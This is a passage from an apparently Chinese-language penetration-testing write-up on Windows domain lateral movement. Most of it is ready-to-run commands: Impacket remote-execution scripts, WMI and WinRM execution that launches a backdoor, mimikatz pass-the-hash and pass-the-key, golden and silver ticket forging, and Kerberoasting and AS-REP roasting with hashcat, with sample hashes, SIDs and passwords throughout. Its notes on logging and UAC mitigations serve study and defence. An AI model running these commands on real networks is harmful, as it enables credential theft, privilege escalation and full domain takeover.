使用impacket包中的PSEXEC工具进行连接时,发现会自动修改生成的服务名称(对服务有一定的隐藏作用)

zvd3txxrwhg11803.png

安全性分析:psexec在执行时不仅会上传一个文件,还会创建一个服务,这些都是会被目标主机进行日志记录的,因此比较危险。

WMI

使用VPN和socks方式执行方式相同。

WMI的全名为(Windows Management Instrumentation,Windows管理规范),用户可以通过WMI管理本地和远程的计算机。WMI使用的协议是DCOM(分布式组件对象模型)和WinRM(Windows远程管理)。

运行WMI需要的条件:

1.远程主机的WMI服务为开启状态;

2.双方主机打开并放行135端口;

在windows上可以使用wmic.exe和PowerShell Cmdlet来使用WMI数据和执行WMI方法。

wmic /node:192.168.183.130 /USER:administrator PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

// wmic /node:"[full machine name]" /USER:"[domain]\[username]" PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1

查询远程进程信息

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process list brief

wmic命令执行没有回显,因此要将结果写入到txt中

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c ipconfig > C:\result.txt"

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "cmd.exe /c <命令> > C:\result.txt"

wmic /node:192.168.183.130 /user:administrator /password:Liu78963 process call create "目录\backdoor.exe"

// /node:指定将对其进行操作的服务器

在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。除去认证操作的话,wmic远程执行命令在正常情况是不会产生日志,只有打开命令行审核功能,在使用wmic命令执行任何操作时,相关的事件将被记录在Windows事件日志中。

mkt45o1fhtg11807.png

DCOM利用

使用VPN和socks方式执行方式相同。

https://www.freebuf.com/articles/web/293280.html

WinRM利用

使用VPN和socks方式执行方式相同。

http://www.mchz.com.cn/cn/service/Safety-Lab/info_26_itemid_4124.html

WinRM是通过执行WS-management协议来实现远程管理的,允许处于同一个网络内的Windows计算机彼此之间相互访问和交换信息,对应的端口是5985

在windows-2008以上版本的服务器中,WinRM服务才会自动启动,在使用WinRM服务进行横向移动时,需要拥有远程主机的管理员凭据。

安装WinRM服务

1、查看是否开启winrm

winrm e winrm/config/listener

如果报错说明没有开启

2、开启服务

要在管理员模式下,使用CMD。因为Powershell会无法执行

winrm quickconfig

会有两个问题,都输入“y”即可

3、winrm service设置auth

winrm set winrm/config/service/auth "@{Basic="true"}"

4、为winrm service 配置加密方式为允许非加密(这个不配置,远程连接会出错)

winrm set winrm/config/service "@{AllowUnencrypted="true"}"

5、查看winrm配置

winrm get winrm/config

配置TrustedHosts

winrm set winrm/config/client @{TrustedHosts="10.10.10.10"} #信任主机10.10.10.10

Set-Item WSMan:localhost\client\trustedhosts -value * #powershell 信任所有主机

命令执行

winrs -r:http://10.10.10.10:5985 -u:Administrator -p:admin!@#456 "whoami"

winrs -r:http://10.10.10.10:5985 -u:Administrator -p:admin!@#456 "cmd"

kafklagzizq11809.png

在日志方面,只要进行了远程连接操作,使用IP的话就是NTLM认证数据包,使用域名或者机器名就是Kerberos认证数据包。除去认证操作的话,winRM远程执行命令在正常情况是不会产生日志。

5mk2zsksvvq11813.png

linux进行横向渗透

一般在linux中进行横向渗透,使用Impacket 工具包进行渗透,其中为python脚本。

wmiexec.py

使用VPN和socks方式执行方式相同。

它会生成一个使用Windows Management Instrumentation的半交互式shell,并以管理员身份运行。你不需要在目标服务器上安装任何的服务/代理,因此它非常的隐蔽。

python wmiexec.py [[domain/] username [: password] @] [Target IP Address]

python wmiexec.py VVVV1/admins:User\!@#45@10.10.10.10 (注意:密码中如果有!,需要将!进行转义)

python wmiexec.py -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

l455aacnohe11817.png

在域控主机会留下登录的日志,但是在socks隧道的客户端主机不会留下登录的日志。

fpv1xa3qnmp11825.png

psexec.py

使用VPN和socks方式执行方式相同。

Psexec.py允许你在远程Windows系统上执行进程,复制文件,并返回处理输出结果。此外,它还允许你直接使用完整的交互式控制台执行远程shell命令(不需要安装任何客户端软件)。

python psexec.py [[domain/] username [: password] @] [Target IP Address]

python psexec.py VVVV1/admins:User\!@#45@10.10.10.10

# 通过哈希密码连接获得目标域用户交互式shell

python psexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

wxuwntam4gk11829.png

使用psexec时,不仅会在域控产生登录日志,还会在目标机器中产生日志信息。

事件ID:7045

使用官方的PSEXEC TOOLS

yifl45qyjva11833.png

使用impacket包中的PSEXEC工具进行连接时,发现会自动修改生成的服务名称(对服务有一定的隐藏作用)

y4lj52b2kjj11847.png

smbexec.py

使用VPN和socks方式执行方式相同。

# 通过明文密码连接获得目标本地用户交互式shell

python smbexec.py .VVVV1/admins:User!@#45@10.10.10.10

通过哈希密码连接获得目标域用户交互式shell

python smbexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21

4r5ydqsfg4311859.png

连接域控的话,会在域控上产生登录日志,不会在搭建socks隧道的客户端产生日志。

x0ozrnsu1iv11873.png

并且,执行smbexec会上传一个bat文件,并且开启一个服务BTOBTO来执行命令并且将bat文件删除,达到清理痕迹的作用。运行服务的日志也会记录在主机的日志中。

g2cqon55fuj11878.png

atexec.py

使用VPN和socks方式执行方式相同。

通过Task Scheduler服务在目标系统上执行命令,并返回输出结果。

python atexec.py VVVV1/admins:User!@#45@10.10.10.10 "whoami"

python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

使用atexe.py脚本会自动生成计划任务,因此在日志中也会有体现。

kw3uqhwssz111884.png

wmcbbamlfuk11886.png

3msrb0bnnqn11891.png

dcomexec.py

使用VPN和socks方式执行方式相同。

前提条件:135端口、445端口

135端口用于连接DCOM,445端口负责获取命令执行结果。

dcomexec.py 脚本目前支持 MMC20.Application、ShellWindows 和 ShellBrowserWindow 对象。

python dcomexec.py VVVV1/admins:User!@#45@10.10.10.10 "whoami"

python dcomexec.py -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21 "whoami"

在域控会有登录的日志体现。

1ryt5c1j3jf11893.png

Windows进行横向渗透

使用Impacket 工具包的exe版本,执行命令的语法与上面相同。

执行脚本所留下的日志痕迹也与上文中的类似。

哈希传递攻击

mimikatz

使用VPN和socks方式执行方式相同。

man1:0ec4b410903c6dc7594464f27d347497

admins: 0ec4b410903c6dc7594464f27d347497

administrator:ad5a870327c02f83cb947af6a94a4c23

ad-2016$: 99ac70cee2d4370638397a39c71db91d

使用mimikatz进行hash传递攻击,将域管理员账户的hash注入到lsass进程中。

yfiuwf4yt2u11900.png

privilege::debug

sekurlsa::pth /user:man1 /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497

sekurlsa::pth /user:admins /domain:vvvv1.com /ntlm:0ec4b410903c6dc7594464f27d347497

sekurlsa::pth /user:administrator /domain:vvvv1.com /ntlm:ad5a870327c02f83cb947af6a94a4c23

sekurlsa::pth /user:ad-2016$ /domain:vvvv1.com /ntlm:99ac70cee2d4370638397a39c71db91d

sekurlsa::pth /user:EXCHANGE-2016$ /domain:vvvv1.com /ntlm:a377e26f4118ba88ce1af6a4f8ac9daf

但是在socks代理的情况下,将hash注入到域外的主机中,无法解析dns,也无法知道域控的位置,只能通过指定ip的方式来进行操作。

lst3wyuoa1311903.png

使用dir等的操作时也会在域控中有日志体现。

dgpaenow1lk11914.png

sharpkatz

SharpKatz.exe --Command pth --User administrator --Domain vvvv1.com --NtlmHash ad5a870327c02f83cb947af6a94a4c23

在域控主机也会有登录日志体现。

omix21ril5s11917.png

密钥传递攻击

https://www.freebuf.com/column/220740.html

https://www.vuln.cn/6813

对于安装补丁KB2871997之后的机器,经过测试,本地管理员组中,只有administrator账户可以进行NTML-HASH传递,其他的账户包括非administrator的本地管理员都无法使用NTLM-HASH传递。

当然非administrator的本地管理员PassThe Hash失败的原因其实是由于远程访问和UAC的限制。

在版本windows servers 2012 R2之后,系统默认安装该补丁。Windows Server 2012 R2 的版本号为 6.3。因此,如果您的操作系统版本号大于 6.3,则可以判断它大于 Windows Server 2012 R2。

远程访问和UAC

User Account Control and remote restrictions - Windows Server

根据微软官方关于远程访问和用户帐户控制的相关文档可以了解到,UAC为了更好的保护Administrators组的帐户,会在网络上进行限制。

qldqx11crux11920.png

在使用本地用户进行远程登录时不会使用完全管理员权限(fulladministrator),但是在域用户被加入到本地管理员组之后,域用户可以使用完全管理员(fulladministrator)的AccessToken运行,并且UAC不会生效。

这样就解释了为什么在打上补丁之后,本地管理员除了administrator可以进行连接之外,其他管理员无法进行连接(如果一个域内普通账户,加入了本地管理员组的话也是可以进行连接的)。

当我们使用本地管理员Administrator账户进行NTLM-HASH传递的时候,可以直接传递成功。

sekurlsa::pth /user:administrator /domain:WEB-2012 /ntlm:b025cd380141ba05de422efcef9bab2f

0h1cbya2tuh11923.png

但是使用本地管理员组中的admin账户进行NTLM-HASH传递的时候,无法成功。

1grdm13tl3q11926.png

sekurlsa::pth /user:admin /domain:WEB-2012 /ntlm:0ec4b410903c6dc7594464f27d347497

由此可见在上面的实验中administrator能够成功PTH,而本地管理员用户admin无法成功,是因为以admin的身份发起的请求被UAC拒绝。

Administrator用户成功的原因同样是因为UAC中的一项配置:FilterAdministratorToken

Administrator账户启用UAC限制
修改组策略

选择 计算机配置->Windows设置->安全设置->本地策略->安全选项

发现当我们安装补丁后,下图选项默认开启。

1gvtsgoqhv211928.png

ufucfym12kt11930.png

我们直接选择启用该选项即可。

发现administrator账户已经无法使用NTLM-HASH传递了。

j40pgxxmudo11932.png

FilterAdministratorToken

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd835564(v=ws.10)

在UAC组策略设置和注册表项设置的官方文档中可以看到相关的描述,关于UAC的注册表中一个注册表键值为FilterAdministratorToken,且在Windows Server 2008默认为Disable。

eyyn4npkvc111934.png

dvaafwmupzz11936.png

1h0slrm31bp11937.png

官方文档中我们可以看出,中国内置管理员账户就是Administrator账户。

之所以Administrator用户成功传递HASH的原因就与这一项注册表有关,默认情况下FilterAdministratorToken的值为0(distabled),UAC不会对administrator账户进行限制。

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

pxl5mi51qrn11939.png

如果想要关闭Administrator远程访问,直接将FilterAdministratorToken启用即可,修改成1。

05fgm4rsz3s11942.png

修改后立即生效,administrator账户也无法远程访问。

v00tpds1stn11944.png

关闭UAC限制
修改组策略

选择 计算机配置->Windows设置->安全设置->本地策略->安全选项

发现当我们安装补丁后,下图选项默认开启。

huvpr5aieu511947.png

wmsxs1qmtsv11949.png

我们直接选择禁用该选项即可。

重启后发现admin账户可以传递HASH。

3vasxyyv20n11951.png

LocalAccountTokenFilterPolicy

https://learn.microsoft.com/en-US/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction

在官方文档中提到可以通过修改注册表中LocalAccountTokenFilterPolicy选项的键值来进行更改禁用UAC。

b3noekjib1311953.png

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

如果LocalAccountTokenFilterPolicy注册表项不存在可以直接新建一条,并将值设置为1,LocalAccountTokenFilterPolicy的值默认为0(开启远程限制),为1时将关闭远程限制

33ld3cgudys11957.png

两种方法总结:

组策略优先级>注册表

1.当组策略关闭UAC限制后,注册表LocalAccountTokenFilterPolicy设置0或1,都关闭UAC限制;

2.当组策略开启UAC限制后,注册表LocalAccountTokenFilterPolicy设置成0是开启UAC限制,设置成1是关闭UAC限制;

KB2871997与PTK攻击

具体的KB2871997补丁内容更新可以查看下面的链接了解。

https://www.freebuf.com/column/220740.html

这里我们主要回归到KB2871997补丁对我们使用密钥传递攻击带来的影响。

KB2871997补丁其中一项:支持“ProtectedUsers”组

“ProtectedUsers”组是WindowsServer 2012 R2域中的安全组,“ProtectedUsers”组的成员会被强制使用Kerberos身份验证,并且对Kerberos强制执行AES加密。

f1qecymhxfq11961.png

https://blog.gentilkiwi.com/securite/mimikatz/overpass-the-hash

ameo33z5upl11965.png

40mqqbb1emy11967.png

“受保护的用户”组支持(强制Kerberos身份验证以实施AES加密)

1.当“域功能级别”设置为Windows Server 2012 R2时,将创建“受保护的用户”组。

2.受保护的用户组中的帐户只能使用Kerberos协议进行身份验证,拒绝NTLM,摘要式身份验证和CredSSP。

3.Kerberos拒绝DES和RC4加密类型进行预身份验证-必须将域配置为支持AES或更高版本。

4.不能使用Kerberos约束或不受约束的委托来委托受保护用户的帐户。

5.受保护的用户可以使用“身份验证策略”很好地工作。

由上文中我们可以了解到,在更新补丁KB2871997后,支持AES加密的凭据进行传递,且走的协议为kerberos协议。

sekurlsa::ekeys

sekurlsa::pth /user:administrator /domain:vvvv1.com /aes256:23a6b51c13d6630cc8a3eb8f4e6966f15e51aeb8ceec190fb280607e413ebd9d

经过测试,windows10无法使用PTK密钥传递

uzmoxh0vtbl11975.png

m4e3brmhjg111981.png

另外,因为是走的kerberos协议,那么只能通过域名进行连接,无法使用ip进行连接。

evyc0ljzj5t11985.png

在windows中的socks代理的环境下,也无法使用PTK,因为proxifier代理软件无法远程解析DNS,就无法使用kerberos认证,就无法使用PTK传递。

写到这里,我们发现PTK密钥传递攻击实际上是比较鸡肋的一个功能,基于kerberos认证,但是如果获取到的是本地管理员的权限,但是导出本地的hash信息中不会存在AES加密的kerberos凭据,因为kerberos认证只在域内进行使用,本地不会使用kerberos认证,那么就不会存在aes加密的kerberos凭据。只能获取域内账户的凭据才能通过AES加密的凭据进行PTK。但是从上文可以知道,实际上域内账户并不会被该补丁限制,那就不需要使用AES传递,而是直接使用NTLM-HASH进行传递攻击即可。

虽然PTK方法用处比较小,但是存在必然有它的原因。当我们遇到NTLM认证被禁用的情况下,PTK攻击的重要性就出现了,可以直接使用AES加密的凭据进行传递攻击以获得权限。

黄金票据

krbtgt账户

krbtgt是一个特殊的账户,它是用于Kerberos身份验证服务的关键账户。该账户的权限是非常高的,它拥有颁发和验证客户端服务票据所需的密钥和证书。

使用krbtgt账户主要有两个方面的操作:

  1. 颁发服务票据:krbtgt账户可以使用其密钥和证书为其他服务账户颁发服务票据。服务票据用于客户端与服务端之间的互相认证和授权。
  2. 验证服务票据:krbtgt账户还负责验证客户端发来的服务票据的有效性和真实性。验证过程需要使用krbtgt账户的密钥和证书进行解密和比对。

kerberos认证流程

https://zhuanlan.zhihu.com/p/266491528

1dceshmmq5j11988.png

在日志中我们也可以看出kerberos认证流程

如果一个正确的域内用户进行kerberos认证,则会产生如下五条日志(3号日志为验证ST,也就是用户权限PAC)

t5q5njmp2ow11992.png

如果是域内无权限账户进行kerberos认证,则不会产生4号日志,因为权限不足导致无法分配权限。

如果不使用域内账户进行认证,则只会产生登录错误,审核失败的日志,不会使用kerberos认证。

黄金票据

因为黄金票据的原理是伪造tgt,所以只能使用kerberos认证,不能使用ntlm认证。

因此即使导入了票据,使用如下的指令也会提示没有权限。

dir \\10.10.10.10\c$

如果把ip修改成对应的机器名或域名即可成功。

VPN环境

前提需要获取到krbtgt账户的hash值,利用krbtgt账户的hash在kerberos认证过程中的第3、4步骤,通过伪造用户的TGT(包含用户相关的权限身份信息,使用krbtgt的ntlm-hash进行加密)来验证,由于服务器的不严谨,无论用户是否拥有访问服务的权限,只要TGT正确,都可以返回ST(服务票据)。

验证条件

1.拥有一个域的SID;

2.拥有krbtgt账户的hash值;

3.需要一个本地管理员用户,来执行mimikatz

privilege::debug

lsadump::dcsync /domain:ww1.com /user:krbtgt

lsadump::dcsync /domain:ww1.com /all /csv

krbtgt账户ntlm-hash:eb92dd77ca9cdadd073ae907a7c22d0d

获取你将要注入的一个普通用户的SID(去掉权限标识-500)

S-1-5-21-3315874494-179465980-3412869843-500

kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi

tjz4p2dxvyy11997.png

还未注入黄金票据时,普通用户无法访问域控资源

zqckb55n4bh12002.png

生成黄金票据(注意要删除SID后面的标识符)/user:伪造的用户名

kerberos::golden /user:administrator /domain:ww1.com /sid:S-1-5-21-2672614020-1166804175-548711290 /krbtgt:f888308114c87fd64fef57d8907f3b46 /ticket:1.kirbi

清除原本的票据信息

kerberos::purge

加载票据

kerberos::ptt 1.kirbi

成功访问到域控资源

dwr4vsrfujj12003.png

使用dcsync获取到域内hash

lsadump::dcsync /domain:ww1.com /all /csv

y41j3ezz2bo12008.png

接下来验证域林中子域的黄金票据具有怎么样的权限

子域控的krbtgt hash值

5521f994722ff1807d88d17dd9d19535

子域的SID

S-1-5-21-3625630716-398430537-4180109759

u4hkar4z13d12016.png

制作黄金票据

kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi

使用子域krbtgt制作的黄金票据可以访问子域控的资源

eg3aqut0zu312020.png

无法访问主域控的资源,也无法访问主域的资源

4ex2qg00lxh12023.png

yguhfbzwqeq12025.png

也无法访问同级别子域的资源

0vreifac1xp12027.png

接下来使用主域的krbtgt生成黄金票据

主域的krbtgt

eb92dd77ca9cdadd073ae907a7c22d0d

主域的SID

S-1-5-21-3315874494-179465980-3412869843

xmwowrigtnj12030.png

kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi

经过测试,发现和主域的administrator权限相同,可以访问主域和子域控的资源,但是无法访问子域成员机的资源。

接下来我们测试使用主域的krbtgt和子域的SID生成黄金票据

主域的krbtgt

eb92dd77ca9cdadd073ae907a7c22d0d

子域的SID

S-1-5-21-3625630716-398430537-4180109759

acpv0puf1ih12032.png

kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi

kerberos::purge

kerberos::ptt 1.kirbi

发现拥有的是childv域的管理员权限,只能访问childv域内所以资源,无法访问主域和其他同级子域的资源。

lukwqo2kz5q12034.png

0zfter2pavq12039.png

kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3625630716-398430537-4180109759 /krbtgt:eb92dd77ca9cdadd073ae907a7c22d0d /ticket:1.kirbi

这条指令的票据没有任何权限,可能是因为krbtgt需要与参数/domain匹配。

接下来我们测试使用子域的krbtgt和主域的SID生成黄金票据

子域的krbtgt

5521f994722ff1807d88d17dd9d19535

主域的SID

S-1-5-21-3315874494-179465980-3412869843

hnsvlc3x4ql12044.png

kerberos::golden /user:administrator /domain:childv.vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi

发现获取到的是主域administrator的权限,可以访问主域、子域控的资源

kerberos::golden /user:administrator /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /krbtgt:5521f994722ff1807d88d17dd9d19535 /ticket:1.kirbi

这条指令的票据没有任何权限,可能是因为krbtgt需要与参数/domain匹配。

使用ticketer.py实现

https://blog.csdn.net/qq_41874930/article/details/108266378

https://xz.aliyun.com/t/11877

https://paper.seebug.org/321/

首先使用工具ticketer.py生成票据

python ticketer.py -nthash eb92dd77ca9cdadd073ae907a7c22d0d -domain-sid S-1-5-21-3315874494-179465980-3412869843 -domain vvvv1.com administrator

lzabwt2mwag12050.png

使用 impacket 的脚本使用 ccache 文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径

export KRB5CCNAME=/path/to/ccache/file

export KRB5CCNAME=/tmp/administrator.ccache

echo $KRB5CCNAME

mruvuxu1v2u12054.png

在配置好socks代理和proxychains远程解析dns之后,即可使用该票据进行高权限操作。

proxychains3 python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk

//-codec gbk 防止回弹的cmd乱码的情况出现

  1. 在目标主机上运行 chcp.com 命令。这个命令用于获取当前的字符编码代码页。
  2. 记下 chcp.com 命令返回的字符编码代码页。
  3. 使用 Python 的 codecs 库中的标准编码列表(https://docs.python.org/3/library/codecs.html#standard-encodings)找到对应的编码名称。
  4. 在运行 smbexec.py 脚本时,添加 -codec 参数,并指定与目标主机字符编码一致的编码名称。例如,如果字符编码代码页为 936,则选择 GBK 编码进行解码。(-codec gbk)

dsjiuwgclgg12057.png

socks隧道环境

在socks环境中,想要解析域名对应的ip,使用Proxifier工具无法代理远程dns,因此只能通过本地进行修改host文件,本地修改host不能解决远程dns解析的问题,因为修改本地host相当于是在本地将域名和ip进行替换,远程还是相当于通过ip操作。

目前来说,windows环境下socks代理的情况下无法使用黄金票据,因为windows代理软件Proxifier无法解决远程dns解析的问题。如果是在域外的一台与域内同网段的机器操作,自己配置了dns解析,就可以使用黄金票据了。(与kerberos协议无关,ntlm协议和kerberos协议是走tcp的,只要网络是通的,那就可以使用ntlm和kerberos认证)

4rjsq5w5tmu12062.png

但是在linux环境下,linux代理软件proxychains可以远程解析dns,因此可以使用黄金票据。

使用ticketer.py实现

https://paper.seebug.org/321/

首先使用工具ticketer.py生成票据

python ticketer.py -nthash eb92dd77ca9cdadd073ae907a7c22d0d -domain-sid S-1-5-21-3315874494-179465980-3412869843 -domain vvvv1.com administrator

gb1lfgtr1fa12067.png

使用 impacket 的脚本使用 ccache 文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将 KRB5CCNAME 变量设置为 ccache 文件的绝对路径

export KRB5CCNAME=/path/to/ccache/file

export KRB5CCNAME=/tmp/administrator.ccache

echo $KRB5CCNAME

gomdudhopl412071.png

在配置好socks代理和proxychains远程解析dns之后,即可使用该票据进行高权限操作。

proxychains3 python psexec.py administrator@ad-2016.vvvv1.com -k -no-pass -codec gbk

//-codec gbk 防止回弹的cmd乱码的情况出现

  1. 在目标主机上运行 chcp.com 命令。这个命令用于获取当前的字符编码代码页。
  2. 记下 chcp.com 命令返回的字符编码代码页。
  3. 使用 Python 的 codecs 库中的标准编码列表(https://docs.python.org/3/library/codecs.html#standard-encodings)找到对应的编码名称。
  4. 在运行 smbexec.py 脚本时,添加 -codec 参数,并指定与目标主机字符编码一致的编码名称。例如,如果字符编码代码页为 936,则选择 GBK 编码进行解码。(-codec gbk)

tbwvzprb43k12074.png

Kerberosast攻击

https://www.cnblogs.com/Hekeats-L/p/16800918.html

https://zhuanlan.zhihu.com/p/475122515

在使用 Kerberos协议进行身份验证的网络中,必须在内置账号(Networkservice, Localsystem)或者用户账号下为服务器注册SPN。对于内置账号,SPN将自动进行注册。

但是,如果在域用户账号下运行服务,则必须为要使用的账号手动注册SPN。因为域环境中的每台服务器都需要在Kerberos身份验证服务中注册SPN,所以攻击者会直接向域控制器发送查询请求,获取其需要的服务的SPN,从而知晓其需要使用的服务资源在哪台机器上。

**Kerberos身份验证使用sPN将服务实例与服务登录账号关联起来。**如果域中的计算机上安了多个服务实例,那么每个实例都必须有自己的SPN。如果客户端可能使用多个名称进行身份验证,那么给定的服务实例可以有多个SPN。例如,SPN总是包含运行的服务实例的主机名称,所以,服务实例可以为其所在主机的每个名称或别名注册一个SPN。

根据Kerberos协议,当用户输人自己的账号和密码登录活动目录时,域控制器会对账号和密码进行验证。验证通过后,密钥分发中心(KDC)会将服务授权的票据(TGT)发送给用户(作为用户访问资源时的身份凭据)

下面通过一个例子来说明。当用户需要访问MSSQL服务时,系统会以当前用户身份向城制器查询SPN为“MSSQL”的记录。找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC.KDC中的身份验证量务(AS)对TGT进行解密。

确认无误后,由TGS将一张允许访问该SPN所对应的服务的票据和该SPN所对应的地址发送给用户,用户使用该票据即可访问MSSQL服务。

ecadb2isjes12079.png

而Kerberosast攻击主要利用了TGS_REP阶段使用服务的NTLM Hash返回的加密数据,对于域内的任何主机,都可以通过查询SPN,向域内的所有服务请求ST,然后进行暴力破解。

具体的利用过程

1.拥有一个域内普通用户的hash(拥有正确的TGT);

2.查询SPN,向域内的所有服务请求ST;

3.因为KDC不会验证权限,因此无论是否拥有访问该服务的权限,只要TGT正确,TGS服务器都会返回该服务对应的服务票据ST;

4.使用工具破解服务HASH;

使用工具Rubeus.exe

Rubeus.exe kerberoast

oidsrauouba12080.png

使用Impacket工具包的GetUserSPNs.py

python3 GetUserSPNs.py vvvv1.com/administrator:Password1 -dc-ip 10.10.24.188 -request

lihagah2waf12083.png

导出hash后使用hashcat进行解密即可

hashcat -m 13100 -a 0 hash.txt Pass.txt

破解服务帐户密码后,根据服务帐户是否为域管理员,有多种方法可以窃取数据。如果服务帐户是域管理员,你将拥有类似于银票的控制权,并且可以收集重要的数据,例如转储 NTDS.dit。如果服务帐户不是域管理员,你可以使用它来登录其他系统获得立足点或者进行权限升级,或者你可以使用破解的密码来攻击其他服务和域管理员帐户。

AS-REP Roasting攻击

https://www.cnblogs.com/Hekeats-L/p/16800918.html

https://zhuanlan.zhihu.com/p/474523090

https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting

ldmmcsd3qqe12084.png

预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。

正常情况下,在上图中,在kerberos认证第一步中,会向AS发送用户名和密码,并且向AS发送一个AS_REQ,这个AS_REQ里包含了使用Client的NTLM-Hash加密的时间戳以及Client-info、Server-info等数据,以及一些其他信息。然后AS会去检查客户端ID是否在数据库中,如果在,则使用其hash进行解密比对,比对成功,则发送两条信息给客户端,一条是使用客户端HASH加密的Session Key等信息,另一条就是使用krbtgt HASH加密的票据TGT

而这个HASH比对验证的过程就是预身份验证,如果取消掉预身份验证,只要使用的是KDC数据库中存在的用户名,那么就会直接返回使用客户端HASH加密的Session Key等信息,可以进行离线爆破。

AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 "Do not require Kerberos preauthentication(不需要kerberos预身份验证) " 。而该属性默认是没有勾选上的。

ve54redxpg212088.png

使用工具Rubeus.exe

Rubeus.exe asreproast

oeb5a1te52412090.png

https://hashcat.net/wiki/doku.php?id=example_hashes

查找hashcat密码,为了能让hashcat识别,我们要在$krb5asrep后面添加一个$23

hashcat -m 18200 hash.txt passwd.txt--force

还有工具ASREPROAST.ps1

Powershell -ExecutionPolicy Bypass

Import-Module .\ASREPRoast.ps1

Invoke-ASREPRoast

Get-ASREPHash -UserName man03 -Domain vvvv1.com

rm3czezab5k12093.png

还有工具Impacket中的GetNPUsers.py

python3 GetNPUsers.py -dc-ip 10.211.55.30 hacker.lab/ -usersfile users.txt -format john -outputfile hashes

尝试该工具会在日志中生成4678的TGT请求记录

55gd44keolc12094.png

在实战当中很少见会开启这个选项的,所以我们在内网渗透中一般是用来做权限维持。

需要枚举域内用户是否存在开启选项

1. 可以使用PowerView、kerbrute等工具枚举出存在开启选项”Do not require Kerberos preauthentication”的用户

2. 导出hash并破解

  • 需要先获得对指定用户的GenericWrite权限,利用思路如下:
  • 开启用户选项”Do not require Kerberos preauthentication”
  • 导出hash并破解
  • 关闭用户选项”Do not require Kerberos preauthentication”

**总结:****与Kerberoasting和黄金票据的区别**

· AS-REP Roasting:获取用户hash然后离线暴力破解

· Kerberoasting:获取应用服务hash然后暴力破解

· 黄金票据:通过假冒域中不存在的用户来访问应用服务

白银票据

https://www.freebuf.com/articles/others-articles/329728.html

如果说黄金票据是伪造的TGT,那么白银票据就是伪造的ST。

在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。

通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。

所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

hgueah5sg5312098.png

在Windows下

arhikhqg3uy12099.png

vzrxxpyozpw12103.png

im4uatomofb12106.png

klist purge

privilege::debug

kerberos::golden /domain:vvvv1.com /sid:S-1-5-21-3315874494-179465980-3412869843 /target:ad-2016.vvvv1.com /service:cifs /rc4:0e88bb31c15409de8c9302a085a0b853 /user:admin /ptt

在socks代理的环境下,只需要修改host文件指定域名与ip的关系即可。

C:\Windows\System32\drivers\etc\host

inzyd5n30iv12111.png

odftdtoiegr12113.png

在linux下

使用pypykatz

https://github.com/skelsec/pypykatz/wiki/

pypykatz kerberos tgs -o 1.CCACHE "kerberos+NT+hash://VVVV1\AD-2016$:0e88bb31c15409de8c9302a085a0b853@10.10.10.10" "cifs@vvvv1.com"

白银票据的服务列表

Service TypeService Silver Tickets
WMIHOST <br>RPCSS
PowerShell RemotingHOST <br>HTTP
WinRMHOST <br>HTTP
Scheduled TasksHOST
Windows File Share (CIFS)CIFS
LDAP operations including<br><br>Mimikatz DCSyncLDAP
Windows Remote Server Administration ToolsRPCSS <br>LDAP <br>CIFS

kerberos::golden /domain:域名 /sid:域sid /target:目标服务器 /service:目标服务 /rc4:目标服务器的hash /user:xxx用户名 /ptt

白银票据利用

https://www.cnblogs.com/backlion/p/8119013.html

1.为CIFS 服务创建白银票据,以获得目标计算机上任何Windows共享的管理权限;

2.为HOST服务创建白银票据,以获得目标计算机修改和创建计划任务的权限;

3.为HTTP&WSMAN服务创建白银票据,以获得目标系统上的WinRM和或PowerShell Remoting的管理权限,

